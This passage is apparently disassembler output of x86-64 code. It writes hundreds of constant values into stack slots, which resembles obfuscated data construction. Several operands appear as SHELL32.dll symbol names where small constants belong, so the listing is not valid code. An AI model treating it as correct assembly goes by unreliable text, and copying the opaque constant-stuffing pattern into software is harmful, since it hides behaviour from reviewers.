mov word [rsp + 0x1af0], ax
movabs rax, 0x77e964f1cb498c
mov qword [rsp + 0xd560], rax
mov byte [rsp + 0x2ae], 0x8c
mov byte [rsp + 0x2af], 0x36
mov eax, 0xe3
mov word [rsp + 0x1af4], ax
movabs rax, 0x76b0f0c35f193d
mov qword [rsp + 0xd568], rax
movabs rax, 0x7183d1c69bcd13
mov qword [rsp + 0xd570], rax
mov dword [rsp + 0x6aec], 0x4bde
mov dword [rsp + 0x6af0], 0x7fb3
movabs rax, 0x7a37cbd867fb86
mov qword [rsp + 0xd578], rax
mov byte [rsp + 0x2b0], 0x69
movabs rax, 0x718d806c891725
mov qword [rsp + 0xd580], rax
mov dword [rsp + 0x6af4], 0x6a24
mov byte [rsp + 0x2b1], 0x41
mov eax, 0xc37
mov word [rsp + 0x1af8], ax
movabs rax, 0x758443a8e34eb2
mov qword [rsp + 0xd588], rax
mov eax, 0x703
mov word [rsp + 0x1afc], ax
mov dword [rsp + 0x6af8], 0x1e97
movabs rax, 0x7635429dabc133
mov qword [rsp + 0xd590], rax
mov eax, 0x2d0
mov word [rsp + 0x1b00], ax
mov eax, 0xc66
mov word [rsp + 0x1b04], ax
mov dword [rsp + 0x6afc], 0xfeaf
mov dword [rsp + 0x6b00], 0xbc87
mov dword [rsp + 0x6b04], 0xf15e
mov eax, 0xc6f
mov word [rsp + 0x1b08], ax
mov dword [rsp + 0x6b08], 0x2e93
mov dword [rsp + 0x6b0c], 0x3046
mov dword [rsp + 0x6b10], 0x9347
mov eax, 0x26a
mov word [rsp + 0x1b0c], ax
mov byte [rsp + 0x2b2], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6b14], 0xef11
movabs rax, 0x7b1dc8927f3533
mov qword [rsp + 0xd598], rax
movabs rax, 0x72f349989a0bb9
mov qword [rsp + 0xd5a0], rax
movabs rax, 0x788a10c79f498f
mov qword [rsp + 0xd5a8], rax
movabs rax, 0x71392a24c937b0
mov qword [rsp + 0xd5b0], rax
movabs rax, 0x74d30e064dc075
mov qword [rsp + 0xd5b8], rax
mov dword [rsp + 0x6b18], 0x8f9c
movabs rax, 0x70ef5b24dd14bf
mov qword [rsp + 0xd5c0], rax
mov dword [rsp + 0x6b1c], 0xbe12
mov dword [rsp + 0x6b20], 0x40ee
mov byte [rsp + 0x2b3], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x6b24], 0x5712
movabs rax, 0x735b21f4f5f1c4
mov qword [rsp + 0xd5c8], rax
movabs rax, 0x7eba67c0950ff1
mov qword [rsp + 0xd5d0], rax
mov dword [rsp + 0x6b28], 0x5bce
mov dword [rsp + 0x6b2c], 0x6536
mov dword [rsp + 0x6b30], 0x94aa
mov byte [rsp + 0x2b4], 0x40
mov eax, 0x564
mov word [rsp + 0x1b10], ax
movabs rax, 0x74a8ec7743179a
mov qword [rsp + 0xd5d8], rax
movabs rax, 0x719b62022aaa2f
mov qword [rsp + 0xd5e0], rax
movabs rax, 0x71c3a89c94588f
mov qword [rsp + 0xd5e8], rax
mov byte [rsp + 0x2b5], 0x66
mov eax, 0xef
mov word [rsp + 0x1b14], ax
mov byte [rsp + 0x2b6], 0x29
movabs rax, 0x7c5ea57a1e545e
mov qword [rsp + 0xd5f0], rax
mov dword [rsp + 0x6b34], 0x606c
movabs rax, 0x72763f5165eb78
mov qword [rsp + 0xd5f8], rax
mov byte [rsp + 0x2b7], 0x71
mov byte [rsp + 0x2b8], SHDoDragDrop
mov dword [rsp + 0x6b38], 0xacdb
mov eax, 0x318
mov word [rsp + 0x1b18], ax
mov dword [rsp + 0x6b3c], 0x6b89
movabs rax, 0x7c747cfce7b718
mov qword [rsp + 0xd600], rax
movabs rax, 0x7b8a6b1f54a6a0
mov qword [rsp + 0xd608], rax
mov eax, 0x488
mov word [rsp + 0x1b1c], ax
movabs rax, 0x7496b8588a1574
mov qword [rsp + 0xd610], rax
mov eax, 0x761
mov word [rsp + 0x1b20], ax
mov byte [rsp + 0x2b9], 0xc8
movabs rax, 0x710d1542434e0f
mov qword [rsp + 0xd618], rax
mov eax, 0x405
mov word [rsp + 0x1b24], ax
movabs rax, 0x71ae7d8c73d618
mov qword [rsp + 0xd620], rax
movabs rax, 0x752d8b8e4016a4
mov qword [rsp + 0xd628], rax
movabs rax, 0x7a8bba17646a5e
mov qword [rsp + 0xd630], rax
movabs rax, 0x7484942f26c758
mov qword [rsp + 0xd638], rax
mov byte [rsp + 0x2ba], 0x6c
mov dword [rsp + 0x6b40], 0xe16d
mov eax, 0x697
mov word [rsp + 0x1b28], ax
mov dword [rsp + 0x6b44], 0x75a4
mov byte [rsp + 0x2bb], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0xb78
mov word [rsp + 0x1b2c], ax
movabs rax, 0x74da89adf55c63
mov qword [rsp + 0xd640], rax
mov dword [rsp + 0x6b48], 0x5cad
movabs rax, 0x7389fc50671a48
mov qword [rsp + 0xd648], rax
mov dword [rsp + 0x6b4c], 0x1fe5
mov byte [rsp + 0x2bc], 0x6e
movabs rax, 0x769e438e7834bd
mov qword [rsp + 0xd650], rax
movabs rax, 0x7140ead9de23b8
mov qword [rsp + 0xd658], rax
mov dword [rsp + 0x6b50], 0x377f
movabs rax, 0x781975abe6d4a1
mov qword [rsp + 0xd660], rax
mov dword [rsp + 0x6b54], 0x2b62
mov eax, SHGetImageList
mov word [rsp + 0x1b30], ax
mov eax, 0x95d
mov word [rsp + 0x1b34], ax
mov eax, 0xd1d
mov word [rsp + 0x1b38], ax
movabs rax, 0x7b6fe85e25724b
mov qword [rsp + 0xd668], rax
mov eax, 0x74e
mov word [rsp + 0x1b3c], ax
mov byte [rsp + 0x2bd], 0x50
mov eax, 0xd01
mov word [rsp + 0x1b40], ax
mov dword [rsp + 0x6b58], 0x248c
mov byte [rsp + 0x2be], 0x29
mov eax, 0x1ab
mov word [rsp + 0x1b44], ax
mov dword [rsp + 0x6b5c], 0x86c9
mov eax, 0x351
mov word [rsp + 0x1b48], ax
movabs rax, 0x702d68d08640cf
mov qword [rsp + 0xd670], rax
mov eax, 0xe0d
mov word [rsp + 0x1b4c], ax
mov dword [rsp + 0x6b60], 0x50a7
movabs rax, 0x7dacf4db85dd3d
mov qword [rsp + 0xd678], rax
mov eax, 0x444
mov word [rsp + 0x1b50], ax
movabs rax, 0x7703f3aede130b
mov qword [rsp + 0xd680], rax
mov byte [rsp + 0x2bf], 0x3e
movabs rax, 0x76ab3500d41e70
mov qword [rsp + 0xd688], rax
mov eax, 0x423
mov word [rsp + 0x1b54], ax
mov byte [rsp + 0x2c0], 0x77
movabs rax, 0x737473e5be891b
mov qword [rsp + 0xd690], rax
movabs rax, 0x7793fa080bd16b
mov qword [rsp + 0xd698], rax
mov eax, 0x174
mov word [rsp + 0x1b58], ax
movabs rax, 0x702174607784aa
mov qword [rsp + 0xd6a0], rax
movabs rax, 0x7e08207efb9337
mov qword [rsp + 0xd6a8], rax
movabs rax, 0x77cdb8df807eb9
mov qword [rsp + 0xd6b0], rax
movabs rax, 0x706d4fe7ab7865
mov qword [rsp + 0xd6b8], rax
mov byte [rsp + 0x2c1], 0x7e
mov byte [rsp + 0x2c2], 0x7e
movabs rax, 0x7dfdcfb622dafc
mov qword [rsp + 0xd6c0], rax
mov byte [rsp + 0x2c3], 0x3b
mov byte [rsp + 0x2c4], 0x61
mov dword [rsp + 0x6b64], 0x8a15
mov dword [rsp + 0x6b68], 0x1782
mov eax, reloc.SHELL32.dll_SHGetNewLinkInfoW
mov word [rsp + 0x1b5c], ax
movabs rax, 0x7b9dc7576e05c1
mov qword [rsp + 0xd6c8], rax
mov eax, 0x3fe
mov word [rsp + 0x1b60], ax
mov byte [rsp + 0x2c5], 0x70
movabs rax, 0x78385f894ed6ef
mov qword [rsp + 0xd6d0], rax
mov dword [rsp + 0x6b6c], 0xe9b3
mov eax, 0x140
mov word [rsp + 0x1b64], ax
mov byte [rsp + 0x2c6], ILCloneFirst
mov byte [rsp + 0x2c7], 0xf1
mov eax, 0x136
mov word [rsp + 0x1b68], ax
movabs rax, 0x764527dd5f382b
mov qword [rsp + 0xd6d8], rax
movabs rax, 0x7a4b1c79ca6d35
mov qword [rsp + 0xd6e0], rax
mov eax, 0x635
mov word [rsp + 0x1b6c], ax
mov byte [rsp + 0x2c8], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x71eadb2374e4c9
mov qword [rsp + 0xd6e8], rax
movabs rax, 0x7ec0592016ecd7
mov qword [rsp + 0xd6f0], rax
movabs rax, 0x73d206f2bd0f60
mov qword [rsp + 0xd6f8], rax
mov byte [rsp + 0x2c9], 0x4d
mov dword [rsp + 0x6b70], 0x7ed0
mov dword [rsp + 0x6b74], 0x6b67
mov eax, 0x244
mov word [rsp + 0x1b70], ax
mov byte [rsp + 0x2ca], 0x66
mov dword [rsp + 0x6b78], 0x27bc
movabs rax, 0x71644ed6b63f71
mov qword [rsp + 0xd700], rax
mov eax, 0x1d5
mov word [rsp + 0x1b74], ax
mov byte [rsp + 0x2cb], 0x5a
mov eax, 0x9b1
mov word [rsp + 0x1b78], ax
movabs rax, 0x7d09d779ffd7c7
mov qword [rsp + 0xd708], rax
mov dword [rsp + 0x6b7c], 0x680c
mov eax, 0xc91
mov word [rsp + 0x1b7c], ax
mov eax, 0x3ce
mov word [rsp + 0x1b80], ax
movabs rax, 0x73b06fda7816a4
mov qword [rsp + 0xd710], rax
mov byte [rsp + 0x2cc], 5
movabs rax, 0x7b826a69933caa
mov qword [rsp + 0xd718], rax
mov dword [rsp + 0x6b80], 0xe7f0
mov dword [rsp + 0x6b84], 0x14a2
mov eax, 0xf43
mov word [rsp + 0x1b84], ax
mov byte [rsp + 0x2cd], 0x63
mov dword [rsp + 0x6b88], 0xa5a8
mov dword [rsp + 0x6b8c], 0xeb76
mov byte [rsp + 0x2ce], 0x9c
mov dword [rsp + 0x6b90], 0xcb20
mov byte [rsp + 0x2cf], 0x6b
mov byte [rsp + 0x2d0], 0x29
mov dword [rsp + 0x6b94], 0x2c51
mov eax, 0x634
mov word [rsp + 0x1b88], ax
movabs rax, 0x7b9b0e4366618d
mov qword [rsp + 0xd720], rax
mov dword [rsp + 0x6b98], 0x17cb
movabs rax, 0x70dce4e56c3584
mov qword [rsp + 0xd728], rax
movabs rax, 0x73ede200f9ed25
mov qword [rsp + 0xd730], rax
mov byte [rsp + 0x2d1], 0xf1
mov eax, 0x5a9
mov word [rsp + 0x1b8c], ax
movabs rax, 0x7d83419d416614
mov qword [rsp + 0xd738], rax
mov eax, 0x1cd
mov word [rsp + 0x1b90], ax
mov dword [rsp + 0x6b9c], 0x8ae
mov dword [rsp + 0x6ba0], 0x8b4d
mov eax, 0xfa3
mov word [rsp + 0x1b94], ax
mov byte [rsp + 0x2d2], 0xa0
mov byte [rsp + 0x2d3], 0x21
mov byte [rsp + 0x2d4], 0x2a
mov byte [rsp + 0x2d5], 0xfb
movabs rax, 0x7596e7d6d4a5d2
mov qword [rsp + 0xd740], rax
mov byte [rsp + 0x2d6], 0x78
movabs rax, 0x7cc3ef19b73679
mov qword [rsp + 0xd748], rax
mov dword [rsp + 0x6ba4], 0xc08e
mov byte [rsp + reloc.SHELL32.dll_SHGetImageList], 0xf0
mov dword [rsp + 0x6ba8], 0x8e1b
mov eax, 0x7fc
mov word [rsp + 0x1b98], ax
mov eax, 0x306
mov word [rsp + 0x1b9c], ax
mov eax, 0x49c
mov word [rsp + 0x1ba0], ax
movabs rax, 0x79bf385e83268d
mov qword [rsp + 0xd750], rax
mov dword [rsp + 0x6bac], 0x3b6d
mov dword [rsp + 0x6bb0], 0x2bd2
mov eax, 0xfdf
mov word [rsp + 0x1ba4], ax
movabs rax, 0x7ed944562b3a2f
mov qword [rsp + 0xd758], rax
mov dword [rsp + 0x6bb4], 0x5f1b
mov eax, 0x2a7
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x6bb8], 0xf45
mov dword [rsp + 0x6bbc], 0xeeb
mov eax, 0x548
mov word [rsp + 0x1bac], ax
mov byte [rsp + 0x2d8], 0xfa
mov dword [rsp + 0x6bc0], 0xb
movabs rax, 0x788b66cb53fbe9
mov qword [rsp + 0xd760], rax
mov byte [rsp + 0x2d9], 0x1f
mov byte [rsp + 0x2da], 0x23
mov byte [rsp + 0x2db], 0x75
mov eax, 0x9f
mov word [rsp + 0x1bb0], ax
mov byte [rsp + 0x2dc], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x727a8dcaba98f0
mov qword [rsp + 0xd768], rax
mov eax, 0x377
mov word [rsp + 0x1bb4], ax
mov byte [rsp + 0x2dd], 0x69
mov eax, 0xd8
mov word [rsp + 0x1bb8], ax
mov byte [rsp + 0x2de], 0x35
mov eax, 0x1c4
mov word [rsp + 0x1bbc], ax
movabs rax, 0x7bc6af8242766c
mov qword [rsp + 0xd770], rax
mov byte [rsp + 0x2df], 6
movabs rax, 0x7cad7508793452
mov qword [rsp + 0xd778], rax
mov byte [rsp + 0x2e0], 0x25
mov eax, 0x381
mov word [rsp + 0x1bc0], ax
mov dword [rsp + 0x6bc4], 0x851
mov eax, 0x489
mov word [rsp + 0x1bc4], ax
mov dword [rsp + 0x6bc8], 0x2195
mov eax, 0x68f
mov word [rsp + 0x1bc8], ax
mov dword [rsp + 0x6bcc], 0x2b76
mov dword [rsp + 0x6bd0], 0x43b4
mov dword [rsp + 0x6bd4], 0x22e
mov dword [rsp + 0x6bd8], 0xcb13
mov eax, 0x64a
mov word [rsp + 0x1bcc], ax
mov byte [rsp + 0x2e1], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x2e2], 0xd0
movabs rax, 0x71cf93c3d977b4
mov qword [rsp + 0xd780], rax
mov byte [rsp + 0x2e3], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x724641fdbed2e2
mov qword [rsp + 0xd788], rax
mov eax, 0x7e9
mov word [rsp + 0x1bd0], ax
movabs rax, 0x78b2bb0d24bbbb
mov qword [rsp + 0xd790], rax
mov eax, 0x6cc
mov word [rsp + 0x1bd4], ax
mov eax, 0x66c
mov word [rsp + 0x1bd8], ax
mov dword [rsp + 0x6bdc], 0xc794
movabs rax, 0x7704d70fa6e917
mov qword [rsp + 0xd798], rax
mov eax, 0x93c
mov word [rsp + 0x1bdc], ax
movabs rax, 0x707c47d6648ebf
mov qword [rsp + 0xd7a0], rax
movabs rax, 0x783e19643e60f5
mov qword [rsp + 0xd7a8], rax
movabs rax, 0x78d9521b57dcca
mov qword [rsp + 0xd7b0], rax
mov byte [rsp + 0x2e4], 0x68
mov eax, 0x1be
mov word [rsp + 0x1be0], ax
movabs rax, 0x7df20f158c52d9
mov qword [rsp + 0xd7b8], rax
mov byte [rsp + 0x2e5], ILFindChild
movabs rax, 0x7e6254414922ec
mov qword [rsp + 0xd7c0], rax
mov dword [rsp + 0x6be0], 0x4cb3
mov dword [rsp + 0x6be4], 0x2a30
mov eax, 0x40d
mov word [rsp + 0x1be4], ax
mov dword [rsp + 0x6be8], 0x6dc5
mov dword [rsp + 0x6bec], 0x69f8
mov eax, 0x1dc
mov word [rsp + 0x1be8], ax
movabs rax, 0x7eed1476b55c07
mov qword [rsp + 0xd7c8], rax
movabs rax, 0x7a3c4b47af5351
mov qword [rsp + 0xd7d0], rax
movabs rax, 0x751d712afdf6cf
mov qword [rsp + 0xd7d8], rax
mov byte [rsp + 0x2e6], 0xa
mov byte [rsp + 0x2e7], 0x32
mov byte [rsp + 0x2e8], 2
mov byte [rsp + 0x2e9], PathYetAnotherMakeUniqueName
mov eax, 0x3a0
mov word [rsp + 0x1bec], ax
mov eax, 0x27d
mov word [rsp + 0x1bf0], ax
mov byte [rsp + 0x2ea], 0xa5
movabs rax, 0x7ead441dacde9b
mov qword [rsp + 0xd7e0], rax
movabs rax, 0x7aa346eae025b8
mov qword [rsp + 0xd7e8], rax
movabs rax, 0x75d122f28b5809
mov qword [rsp + 0xd7f0], rax
mov eax, 0x487
mov word [rsp + 0x1bf4], ax
mov byte [rsp + 0x2eb], 0x31
movabs rax, 0x7e057684e212d7
mov qword [rsp + 0xd7f8], rax
movabs rax, 0x7636d65fd9d08c
mov qword [rsp + 0xd800], rax
mov eax, 0x3d1
mov word [rsp + 0x1bf8], ax
mov dword [rsp + 0x6bf0], 0x5240
mov eax, 0xada
mov word [rsp + 0x1bfc], ax
movabs rax, 0x7028009b7e80ef
mov qword [rsp + 0xd808], rax
mov eax, 0x724
mov word [rsp + 0x1c00], ax
mov byte [rsp + 0x2ec], 0x7c
mov dword [rsp + 0x6bf4], 0x980b
mov eax, 0x192
mov word [rsp + 0x1c04], ax
mov dword [rsp + 0x6bf8], 0x58f3
mov eax, 0x4ef
mov word [rsp + 0x1c08], ax
movabs rax, 0x7b6bed2f6364fc
mov qword [rsp + 0xd810], rax
mov byte [rsp + 0x2ed], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6bfc], 0x1ae8
movabs rax, 0x73c45218c9e788
mov qword [rsp + 0xd818], rax
mov dword [rsp + 0x6c00], 0xe77b
movabs rax, 0x7e35d44e3aab95
mov qword [rsp + 0xd820], rax
mov dword [rsp + 0x6c04], 0xc09e
mov eax, 0xb4b
mov word [rsp + 0x1c0c], ax
mov eax, 0x5b1
mov word [rsp + 0x1c10], ax
mov byte [rsp + 0x2ee], 0x21
movabs rax, 0x7ce57fa4d8cfb7
mov qword [rsp + 0xd828], rax
mov byte [rsp + 0x2ef], 6
movabs rax, 0x7b9393e42211d7
mov qword [rsp + 0xd830], rax
movabs rax, 0x7ca9cd608ec704
mov qword [rsp + 0xd838], rax
mov byte [rsp + 0x2f0], 0x5b
mov eax, 0x143
mov word [rsp + 0x1c14], ax
movabs rax, 0x768e6e7e51f233
mov qword [rsp + 0xd840], rax
mov byte [rsp + 0x2f1], 0xc6
movabs rax, 0x7089a03cb27316
mov qword [rsp + 0xd848], rax
mov byte [rsp + 0x2f2], 0x31
mov dword [rsp + 0x6c08], 0x3fbf
mov dword [rsp + 0x6c0c], 0x412f
mov byte [rsp + 0x2f3], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x72da6b19055fc1
mov qword [rsp + 0xd850], rax
mov eax, 0x3b4
mov word [rsp + 0x1c18], ax
movabs rax, 0x7160efb250a21e
mov qword [rsp + 0xd858], rax
mov dword [rsp + 0x6c10], 0x2bcd
movabs rax, 0x7c31d44ee57a4c
mov qword [rsp + 0xd860], rax
mov dword [rsp + 0x6c14], 0x7eca
movabs rax, 0x7bc9cf360529cd
mov qword [rsp + 0xd868], rax
mov dword [rsp + 0x6c18], 0x8b8
mov eax, 0xe31
mov word [rsp + 0x1c1c], ax
mov dword [rsp + 0x6c1c], 0x55c7
mov byte [rsp + 0x2f4], 0xa
mov byte [rsp + 0x2f5], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x79c6ed2d275f1c
mov qword [rsp + 0xd870], rax
mov byte [rsp + 0x2f6], 0x50
movabs rax, 0x75a4ae9f4abb1d
mov qword [rsp + 0xd878], rax
mov eax, 0xd8
mov word [rsp + 0x1c20], ax
movabs rax, 0x7a8ad53ccd3612
mov qword [rsp + 0xd880], rax
mov eax, 0x477
mov word [rsp + 0x1c24], ax
movabs rax, 0x73e27861e09d2a
mov qword [rsp + 0xd888], rax
mov eax, 0x1d4
mov word [rsp + 0x1c28], ax
movabs rax, 0x769130d8163b18
mov qword [rsp + 0xd890], rax
mov byte [rsp + 0x2f7], PathYetAnotherMakeUniqueName
mov eax, 0xef8
mov word [rsp + 0x1c2c], ax
mov byte [rsp + 0x2f8], 0x6b
movabs rax, 0x7cc1389fe0d25c
mov qword [rsp + 0xd898], rax
mov byte [rsp + 0x2f9], 0x35
mov eax, 0xfdc
mov word [rsp + 0x1c30], ax
movabs rax, 0x7da7d4e88e2baa
mov qword [rsp + 0xd8a0], rax
mov eax, 0x9ab
mov word [rsp + 0x1c34], ax
movabs rax, 0x7280465d03c486
mov qword [rsp + 0xd8a8], rax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x1c38], ax
mov dword [rsp + 0x6c20], 0xd103
mov byte [rsp + 0x2fa], ILSaveToStream
mov eax, 0x92d
mov word [rsp + 0x1c3c], ax
mov byte [rsp + 0x2fb], 0xd1
mov eax, 0x515
mov word [rsp + 0x1c40], ax
mov eax, 0x5bc
mov word [rsp + 0x1c44], ax
mov byte [rsp + 0x2fc], 0x72
movabs rax, 0x79f8fb85171fe2
mov qword [rsp + 0xd8b0], rax
mov eax, 0xf98
mov word [rsp + 0x1c48], ax
movabs rax, 0x72c2907af7c28d
mov qword [rsp + 0xd8b8], rax
mov dword [rsp + 0x6c24], 0x1b0e
mov byte [rsp + 0x2fd], 0x77
mov eax, 0xc50
mov word [rsp + 0x1c4c], ax
mov byte [rsp + 0x2fe], 0x9d
mov eax, 0x4d5
mov word [rsp + 0x1c50], ax
mov dword [rsp + 0x6c28], 0x7f01
mov byte [rsp + 0x2ff], 0x35
mov dword [rsp + 0x6c2c], 0xa934
movabs rax, 0x784358e7f20adf
mov qword [rsp + 0xd8c0], rax
mov byte [rsp + 0x300], 0x62
mov byte [rsp + 0x301], 0xfc
mov eax, 0x696
mov word [rsp + 0x1c54], ax
mov eax, 0x588
mov word [rsp + 0x1c58], ax
mov dword [rsp + 0x6c30], 0x1a51
mov dword [rsp + 0x6c34], 0xdd33
movabs rax, 0x7ad09f9392210b
mov qword [rsp + 0xd8c8], rax
mov eax, 0x625
mov word [rsp + 0x1c5c], ax
movabs rax, 0x7a506ac789d477
mov qword [rsp + 0xd8d0], rax
mov eax, 0xb4f
mov word [rsp + 0x1c60], ax
mov dword [rsp + 0x6c38], 0x4288
movabs rax, 0x7e23fabc1bb126
mov qword [rsp + 0xd8d8], rax
movabs rax, 0x7550b776e221ba
mov qword [rsp + 0xd8e0], rax
mov dword [rsp + 0x6c3c], 0x8efe
movabs rax, 0x7821bbf071a4c8
mov qword [rsp + 0xd8e8], rax
mov dword [rsp + 0x6c40], 0x7cfa
mov eax, 0x49d
mov word [rsp + 0x1c64], ax
mov eax, 0x29a
mov word [rsp + 0x1c68], ax
movabs rax, 0x7289c6487d9900
mov qword [rsp + 0xd8f0], rax
mov byte [rsp + 0x302], 0x4f
mov eax, 0x76e
mov word [rsp + 0x1c6c], ax
movabs rax, 0x740ecd1114a731
mov qword [rsp + 0xd8f8], rax
mov dword [rsp + 0x6c44], 0x5766
mov dword [rsp + 0x6c48], 0x2ded
mov dword [rsp + 0x6c4c], 0x49f5
movabs rax, 0x7c80859545dc65
mov qword [rsp + 0xd900], rax
mov dword [rsp + 0x6c50], 0x1991
movabs rax, 0x71c3af639aca2a
mov qword [rsp + 0xd908], rax
mov eax, 0x237
mov word [rsp + 0x1c70], ax
mov byte [rsp + 0x303], reloc.SHELL32.dll_ILCombine
mov eax, 0x3a6
mov word [rsp + 0x1c74], ax
movabs rax, 0x75fe6d749450b9
mov qword [rsp + 0xd910], rax
mov byte [rsp + 0x304], 0x3a
mov eax, 0xa76
mov word [rsp + 0x1c78], ax
movabs rax, 0x7619921a714df3
mov qword [rsp + 0xd918], rax
mov dword [rsp + 0x6c54], 0x26cc
mov dword [rsp + 0x6c58], 0x4a76
mov dword [rsp + 0x6c5c], 0x5516
mov dword [rsp + 0x6c60], 0xff36
mov byte [rsp + 0x305], ILFindChild
movabs rax, 0x7dbdcdf59fcbc0
mov qword [rsp + 0xd920], rax
movabs rax, 0x725b3b48520084
mov qword [rsp + 0xd928], rax
mov eax, 0x4ca
mov word [rsp + 0x1c7c], ax
mov eax, 0xcc9
mov word [rsp + 0x1c80], ax
movabs rax, 0x7b295e9ae69792
mov qword [rsp + 0xd930], rax
mov dword [rsp + 0x6c64], 0x85b8
mov eax, 0x67a
mov word [rsp + 0x1c84], ax
mov dword [rsp + 0x6c68], 0xdf05
mov byte [rsp + 0x306], 0x39
movabs rax, 0x7db134af8e93f2
mov qword [rsp + 0xd938], rax
mov eax, 0x727
mov word [rsp + 0x1c88], ax
movabs rax, 0x7a90cfa7649144
mov qword [rsp + 0xd940], rax
mov byte [rsp + 0x307], 0xf3
mov dword [rsp + 0x6c6c], 0x240a
mov byte [rsp + 0x308], 0x69
mov dword [rsp + 0x6c70], 0x3bf0
mov dword [rsp + 0x6c74], 0x2a7d
movabs rax, 0x7c7bfdc48f5e53
mov qword [rsp + 0xd948], rax
mov dword [rsp + 0x6c78], 0x8c68
mov byte [rsp + 0x309], 0x59
mov dword [rsp + 0x6c7c], 0x1fee
movabs rax, 0x7de16c7dff5756
mov qword [rsp + 0xd950], rax
movabs rax, 0x7799da287e67d9
mov qword [rsp + 0xd958], rax
mov dword [rsp + 0x6c80], 0x3836
mov byte [rsp + 0x30a], 4
movabs rax, 0x72b7812d3485e9
mov qword [rsp + 0xd960], rax
mov eax, 0x127
mov word [rsp + 0x1c8c], ax
mov dword [rsp + 0x6c84], 0x2e23
mov byte [rsp + 0x30b], 0x28
mov dword [rsp + 0x6c88], 0xe304
mov dword [rsp + 0x6c8c], 0x7758
mov dword [rsp + 0x6c90], 0x6325
movabs rax, 0x7b9b7b8f84c035
mov qword [rsp + 0xd968], rax
mov eax, 0xdff
mov word [rsp + 0x1c90], ax
mov dword [rsp + 0x6c94], 0xbd9
mov dword [rsp + 0x6c98], 0x25ab
mov eax, 0x37
mov word [rsp + 0x1c94], ax
movabs rax, 0x7ac59fb2da4579
mov qword [rsp + 0xd970], rax
mov byte [rsp + 0x30c], 0x1d
mov dword [rsp + 0x6c9c], 0x43ee
movabs rax, 0x711524e193450f
mov qword [rsp + 0xd978], rax
mov byte [rsp + 0x30d], 0x39
movabs rax, 0x71cb5429c3d25b
mov qword [rsp + 0xd980], rax
mov eax, 0x449
mov word [rsp + 0x1c98], ax
mov dword [rsp + 0x6ca0], 0x74a3
mov byte [rsp + 0x30e], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x6ca4], 0xdd49
mov eax, 0x44f
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x6ca8], 0x6bd8
mov dword [rsp + 0x6cac], 0x9a4c
mov byte [rsp + 0x30f], 0xc6
mov byte [rsp + 0x310], 0xf1
mov eax, 0x9a5
mov word [rsp + 0x1ca0], ax
movabs rax, 0x749226bad510c9
mov qword [rsp + 0xd988], rax
mov byte [rsp + 0x311], 0x41
mov dword [rsp + 0x6cb0], 0xff3d
movabs rax, 0x7b6d4079ab2599
mov qword [rsp + 0xd990], rax
movabs rax, 0x7df9bb1ea8cd13
mov qword [rsp + 0xd998], rax
movabs rax, 0x70efdd2dc47f9c
mov qword [rsp + 0xd9a0], rax
mov dword [rsp + 0x6cb4], 0x8970
mov dword [rsp + 0x6cb8], 0x518
mov eax, 0x3df
mov word [rsp + 0x1ca4], ax
movabs rax, 0x7c5853e0532202
mov qword [rsp + 0xd9a8], rax
movabs rax, 0x70cbf34f6a4c2c
mov qword [rsp + 0xd9b0], rax
movabs rax, 0x765df67e0d1f3a
mov qword [rsp + 0xd9b8], rax
mov dword [rsp + 0x6cbc], 0x4166
mov dword [rsp + 0x6cc0], 0x914b
mov eax, 0x769
mov word [rsp + 0x1ca8], ax
mov dword [rsp + 0x6cc4], 0x4155
mov byte [rsp + 0x312], 0x3e
mov eax, 0xff5
mov word [rsp + 0x1cac], ax
mov eax, 0xc66
mov word [rsp + 0x1cb0], ax
movabs rax, 0x7203c32d5ce100
mov qword [rsp + 0xd9c0], rax
movabs rax, 0x789059492ebe32
mov qword [rsp + 0xd9c8], rax
mov byte [rsp + 0x313], 0x7b
mov eax, 0xbfd
mov word [rsp + 0x1cb4], ax
mov eax, 0xa4d
mov word [rsp + 0x1cb8], ax
mov eax, 0x2a
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x6cc8], 0xcf59
movabs rax, 0x7393810bf8aea6
mov qword [rsp + 0xd9d0], rax
mov eax, 0x641
mov word [rsp + 0x1cc0], ax
movabs rax, 0x78f00b6cd5e484
mov qword [rsp + 0xd9d8], rax
mov eax, 0x3e
mov word [rsp + 0x1cc4], ax
mov eax, 0xe3d
mov word [rsp + 0x1cc8], ax
mov byte [rsp + 0x314], 0xd5
mov byte [rsp + 0x315], 0x36
mov eax, 0x2f
mov word [rsp + 0x1ccc], ax
mov dword [rsp + 0x6ccc], 0x4456
movabs rax, 0x7122e1d5b6bc9e
mov qword [rsp + 0xd9e0], rax
mov eax, 0x1c4
mov word [rsp + 0x1cd0], ax
mov dword [rsp + 0x6cd0], 0x66d7
movabs rax, 0x77702c8324dd9c
mov qword [rsp + 0xd9e8], rax
mov dword [rsp + 0x6cd4], 0xcaa5
movabs rax, 0x7e0167b9f956c8
mov qword [rsp + 0xd9f0], rax
mov eax, 0x7f7
mov word [rsp + 0x1cd4], ax
mov eax, 0x1d1
mov word [rsp + 0x1cd8], ax
mov eax, 0x6d0
mov word [rsp + 0x1cdc], ax
mov byte [rsp + 0x316], ILCloneFirst
movabs rax, 0x7013bf37e9ea57
mov qword [rsp + 0xd9f8], rax
movabs rax, 0x7458e66dbbc365
mov qword [rsp + 0xda00], rax
movabs rax, 0x74b4894fc4d780
mov qword [rsp + 0xda08], rax
mov eax, 0xae7
mov word [rsp + 0x1ce0], ax
mov eax, 0xc84
mov word [rsp + 0x1ce4], ax
mov dword [rsp + 0x6cd8], 0xc59b
mov byte [rsp + 0x317], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x318], ILCloneFirst
mov dword [rsp + 0x6cdc], 0x2e29
movabs rax, 0x7d46a08689fee3
mov qword [rsp + 0xda10], rax
mov byte [rsp + 0x319], 0x6d
movabs rax, 0x7cdca6c0555404
mov qword [rsp + 0xda18], rax
movabs rax, 0x751e37fe934180
mov qword [rsp + 0xda20], rax
